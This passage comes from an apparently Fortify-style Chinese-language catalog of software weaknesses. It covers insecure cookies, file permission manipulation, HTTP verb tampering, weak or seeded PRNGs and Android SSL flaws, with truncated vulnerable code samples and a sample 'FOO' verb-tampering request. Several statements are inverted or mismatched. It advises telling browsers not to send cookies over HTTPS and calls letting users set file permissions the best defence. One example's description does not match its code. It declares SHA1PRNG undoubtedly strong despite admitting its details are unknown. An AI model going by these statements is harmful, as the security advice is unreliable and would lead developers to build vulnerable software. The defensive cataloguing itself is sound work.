如果应用程序同时使用 HTTPS 和 HTTP,但没有设置 secure 标记,那么在 HTTPS 请求过程中发送的 Cookie 也会在随后的 HTTP 请求过程中被发送。攻击者随后可探查未加密的网络流量(通过无线网络十分容易),从而危及 Cookie 安全。RECOMMENDATIONS
对所有 Cookie 设置 secure 标记,指示浏览器不要通过 HTTPS 发送这些 Cookie。
若使用 Spring Boot,您可在配置文件中将 server.servlet.session.cookie.secure 属性设置为 true 以确保不使用永久性会话 Cookie。
示例 2:以下代码会通过将 server.servlet.session.cookie.secure 属性设置为 true 来更正Example 1 中的错误。
1 | ... |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 614
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001184, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - General Data Protection Regulation Insufficient Data Protection
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 3.2.3 Session Binding Requirements, 3.4.1 Cookie-based Session Management, 6.2.1 Algorithms, 8.1.6 General Data Protection
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M4 Unintended Data Leakage
[8] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[9] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[10] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[11] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[12] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.7, Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4, Requirement 6.5.10
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002230 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication, Insufficient Session Expiration
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01), Insufficient Transport Layer Protection (WASC-04)
File Permission Manipulation
ABSTRACT
允许用户输入直接更改文件权限会导致攻击者能够访问其他受保护的系统资源。
EXPLANATION
当满足以下任一条件时,就会产生 file permission manipulation 错误:
攻击者能够指定在 file system 中修改权限的操作所使用的路径。
攻击者能够指定 file system 上的操作所分配的权限。
示例 1:以下代码使用来自系统属性的输入来设置默认权限掩码。如果攻击者更改了系统属性,则他们可以使用该程序获得该程序所处理文件的访问权限。如果程序还容易受路径篡改攻击,那么攻击者可能会利用这一漏洞访问系统中的任意文件。
1 | String permissionMask = System.getProperty("defaultFileMask"); |
RECOMMENDATIONS
防止此类文件权限操纵的最佳方式是允许用户设置文件权限。但是,如果必须确保用户能够指定文件的权限,则应该使用一种间接方法:即创建一个允许用户进行指定的合法文件权限的列表,并且仅允许用户从列表中进行选择。通过这种方式,用户提供的输入将绝对不会直接用于指定文件权限。
示例 2:以下代码使用了一种间接方法以验证来自系统属性的输入(应设置默认权限掩码)。
1 | String permissionMask = System.getProperty("defaultFileMask"); |
在Example 2 中,我们从未实际使用系统属性的用户输入。而是将它与指定的有效权限掩码进行比较,并在权限中使用该掩码。这可以防止用于比较相等性的 API 包含 bug,该 bug 会通过如空字节注入等方式允许绕开。
REFERENCES
[1] FIO01-J. Create files with appropriate access permissions CERT
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 264, CWE ID 732
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [15] CWE ID 732
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000213, CCI-002165
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - General Data Protection Regulation Access Violation
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 4.1.3 General Access Control Design, 4.1.5 General Access Control Design, 4.2.1 Operation Level Access Control, 4.3.3 Other Access Control Considerations, 7.3.3 Log Protection Requirements
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M8 Security Decisions Via Untrusted Inputs
[11] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[20] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 732
[21] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 732
[22] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 732
[23] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[33] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
HTTP Verb Tampering
ABSTRACT
指定 HTTP 命令的安全限制经常使得访问权限超过预期的权限。
EXPLANATION
在以下情况下,可通过篡改 HTTP 命令来绕过应用程序的 authentication 和 authentication 方法:
1) 使用列出 HTTP 命令的安全控制。
2) 安全控制未能阻止没有列出的动词。
3) 应用程序根据 GET 请求或其他任意 HTTP 命令更新其状态。
大多数 Java EE 实现方式都允许配置中没有明确列出的 HTTP 方法。例如,以下安全限制可应用于 HTTP GET 方法,但不能应用于其他 HTTP 命令:
1 | <security-constraint> |
因为像 HEAD 这样的命令没有在该配置的<http-method>
标签中明确定义,所以可通过使用 HEAD 请求替换 GET 或 POST 请求来执行管理功能。要使 HEAD 请求能够执行管理功能,必须保留条件 3,即应用程序必须根据除 POST 之外的命令来执行命令。某些 Web/应用程序服务器接受任意非标准的 HTTP 命令,并像对它们发出 GET 请求那样进行响应。如果是这种情况,攻击者可使用请求中的任意命令来查看管理页面。
例如,客户端 GET 请求通常如下所示:
1 | GET /admin/viewUsers.do HTTP/1.1 |
在 HTTP 命令篡改攻击中,攻击者会使用类似 FOO 的请求来代替 GET
1 | FOO /admin/viewUsers.do HTTP/1.1 |
从根本上说,这个漏洞是尝试创建黑名单的结果,黑名单就是规定用户不能执行哪些操作的策略。黑名单几乎达不到其预期的效果。
RECOMMENDATIONS
不要使用黑名单,应使用白名单。指定一个授权策略,仅列出允许进行的操作,拒绝所有其他操作。不要在安全限制中指定 HTTP 方法。这将确保您的安全限制都能够应用于所有 HTTP 动词。例如,以下配置将安全限制应用于所有 HTTP 命令:
1 | <security-constraint> |
REFERENCES
[1] Arshan Dabirsiaghi - Aspect Security Bypassing Web Authentication and Authorization with HTTP Verb Tampering
[2] Standards Mapping - Common Weakness Enumeration CWE ID 288
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.10
[13] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[16] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[17] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Insecure Randomness
ABSTRACT
标准的伪随机数值生成器不能抵挡各种加密攻击。
EXPLANATION
在对安全性要求较高的环境中,使用一个能产生可预测数值的函数作为随机数据源,会产生 Insecure Randomness 错误。
电脑是一种具有确定性的机器,因此不可能产生真正的随机性。伪随机数生成器 (PRNG) 近似于随机算法,始于一个能计算后续数值的种子。
PRNG 包括两种类型:统计学的 PRNG 和密码学的 PRNG。统计学的 PRNG 可提供有用的统计资料,但其输出结果很容易预测,因此数据流容易复制。若安全性取决于生成数值的不可预测性,则此类型不适用。密码学的 PRNG 通过可产生较难预测的输出结果来应对这一问题。为了使加密数值更为安全,必须使攻击者根本无法、或极不可能将它与真实的随机数加以区分。通常情况下,如果并未声明 PRNG 算法带有加密保护,那么它有可能就是一个统计学的 PRNG,不应在对安全性要求较高的环境中使用,其中随着它的使用可能会导致严重的漏洞(如易于猜测的密码、可预测的加密密钥、会话劫持攻击和 DNS 欺骗)。
示例:以下 Spring Boot 配置文件使用统计学的 PRNG 创建安全性敏感的标记。
my.secret=${random.value}
这段代码使用 Random.next() 函数为它所生成的收据页面生成独特的标识符。因为 Random.next() 是一个统计学的 PRNG,攻击者很容易猜到由它所生成的字符串。尽管收据系统的底层设计也存在错误,但如果使用了一个不生成可预测收据标识符的随机数生成器(如密码学的 PRNG),会更安全一些。
RECOMMENDATIONS
当不可预测性至关重要时,如大多数对安全性要求较高的环境都采用随机性,这时可以使用密码学的 PRNG。不管选择了哪一种 PRNG,都要始终使用带有充足熵的数值作为该算法的种子。(诸如当前时间之类的数值只提供很小的熵,因此不应该使用。)
Java 语言在 java.security.SecureRandom 中提供了一个加密 PRNG。就像 java.security 中其他以算法为基础的类那样,SecureRandom 提供了与某个特定算法集合相关的包,该包可以独立实现。当使用 SecureRandom.getInstance() 请求一个 SecureRandom 实例时,您可以申请实现某个特定的算法。如果算法可行,那么您可以将它作为 SecureRandom 的对象使用。如果算法不可行,或者您没有为算法明确特定的实现方法,那么会由系统为您选择 SecureRandom 的实现方法。
Sun 在名为 SHA1PRNG 的 Java 版本中提供了一种单独实现 SecureRandom 的方式,Sun 将其描述为计算:
“SHA-1 可以计算一个真实的随机种子参数的散列值,同时,该种子参数带有一个 64 比特的计算器,会在每一次操作后加 1。在 160 比特的 SHA-1 输出中,只能使用 64 比特的输出 [1]。”
然而,文档中有关 Sun 的 SHA1PRNG 算法实现细节的相关记录很少,人们无法了解算法实现中使用的熵的来源,因此也并不清楚输出中到底存在多少真实的随机数值。尽管有关 Sun 的实现方法网络上有各种各样的猜测,但是有一点无庸置疑,即算法具有很强的加密性,可以在对安全性极为敏感的各种内容中安全地使用。
REFERENCES
[1] Java Cryptography Architecture Sun Microsystems
[2] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[3] MSC02-J. Generate strong random numbers CERT
[4] Standards Mapping - Common Weakness Enumeration CWE ID 338
[5] Standards Mapping - FIPS200 MP
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[8] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[9] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[10] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[17] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 330
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.2 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
Insecure Randomness: Hardcoded Seed
ABSTRACT
可生成随机或伪随机值的传递了种子的函数不应使用常量参数进行调用。
EXPLANATION
可生成随机或伪随机值的传递了种子的函数不应使用常量参数进行调用。如果伪随机数值生成器(如 Random)使用特定值作为种子(使用类似 Random.setSeed() 的函数),则通过 Random.nextInt() 和通过可返回或分配值的类似方法返回的值对可以收集一定数量 PRNG 输出的攻击者来说是可预测的。
例 1: 下面,可以通过 Random 对象 s 来预测 Random 对象 r 生成的值。
1 | Random r = new Random(); |
在此示例中,伪随机数值生成器:r 和 s 设置了相同的种子,因此 i == j,以及数组 b[] 和 c[] 的相应值是相等的。
RECOMMENDATIONS
使用硬件型随机性源设置种子的加密 PRNG,比如环形振子、磁盘驱动器定时、热噪声或放射性衰变。与设置常量种子相比,这样做会让使用 Random.nextInt() 和类似方法生成的数据顺序更加难以预测得多。
REFERENCES
[1] Java Cryptography Architecture Sun Microsystems
[2] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[3] MSC02-J. Generate strong random numbers CERT
[4] MSC03-J. Never hard code sensitive information CERT
[5] Standards Mapping - Common Weakness Enumeration CWE ID 336
[6] Standards Mapping - FIPS200 MP
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[18] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 330
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.2 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
Insecure Randomness: User-Controlled Seed
ABSTRACT
生成了随机或伪随机值并传递了种子的函数不应使用受污染整数参数进行调用。
EXPLANATION
Random.setSeed() 不应使用受污染的整数参数进行调用。这样做可使攻击者控制作为伪随机数值生成器种子的值,因此能够预测由调用 Random.nextInt()、Random.nextShort()、Random.nextLong() 产生的、或 Random.nextBoolean() 返回的、或在 Random.nextBytes(byte[]) 中设置的值(通常为整数)的顺序。
RECOMMENDATIONS
使用硬件型随机性源设置种子的 java.security.SecureRandom 之类的加密 PRNG,比如环形振子、磁盘驱动器定时、热噪声或放射性衰变。
REFERENCES
[1] Java Cryptography Architecture Sun Microsystems
[2] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[3] Elaine Barker and John Kelsey NIST Special Publication 800-90A: Recommendation for Random Number Generation Using Deterministic Random Bit Generators NIST
[4] Elaine Barker and John Kelsey NIST DRAFT Special Publication 800-90B: Recommendation for the Entropy Sources Used for Random Bit Generation NIST
[5] Elaine Barker and John Kelsey DRAFT NIST Special Publication 800-90C: Recommendation for Random Bit Generator (RBG) Constructions NIST
[6] MSC02-J. Generate strong random numbers CERT
[7] INPUT-1: Validate inputs Oracle
[8] Standards Mapping - Common Weakness Enumeration CWE ID 335
[9] Standards Mapping - FIPS200 MP
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-13 Cryptographic Protection (P1)
[11] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M6 Broken Cryptography
[12] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[13] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.3
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[21] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 330
[22] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3150.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3150.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3150.2 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3150.2 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3150.2 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3150.2 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3150.2 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II, APSC-DV-002050 CAT II
Insecure SSL: Android Customized Implementation
ABSTRACT
应用程序可实施一个自定义 SSL 接口。
EXPLANATION
该 SSL 标准提供关于如何在客户端侧进行 SSL 验证检查的指导。但是这并非标准的一部分。因此,验证逻辑的实施留给应用程序开发人员来处理。
研究表明,SSL 标准规范的复杂性和开放性存在多项缺陷,使得获得无缺陷的自定义 SSL 实施非常困难。采用自定义 SSL 实现的很大比例的 Android 应用程序无法高效地提供安全通信通道,使应用程序易受中间人攻击。
RECOMMENDATIONS
可能的话应采用 Android 库提供的标准 SSL 实施。如果确实需要自定义 SSL 实施,请确保代码的有效性,并确保没有 SSL 验证检查受到影响。
REFERENCES
[1] Designing for Security Android
[2] S. Fahl, M. Harbach, T. Muders, M. Smith, L. Baumgartner, B. Friesleben Why Eve and Mallory Love Android:An Analysis of Android SSL (In)Security
[3] OWASP Top 10 Mobile Risks OWASP
[4] Standards Mapping - Common Weakness Enumeration CWE ID 297, CWE ID 296, CWE ID 298, CWE ID 299
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[8] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[9] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[10] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[28] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Insecure SSL: Android Hostname Verification Disabled
ABSTRACT
当进行 SSL 连接时,主机名验证功能被禁用。
EXPLANATION
采用 SSL 连接时,使用 AllowAllHostnameVerifier() 或 SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER 会完全关闭主机名验证功能。这相当于信任所有证书。
例 1:应用程序设置以下主机名验证程序。
1 | ... |
当试着连接 https://safesecureserver.banking.com 时,该应用程序会随时接受给 https://hackedserver.banking.com 签发的证书。此时,当服务器被黑客攻击发生 SSL 连接中断时,应用程序可能会泄漏用户敏感信息。
RECOMMENDATIONS
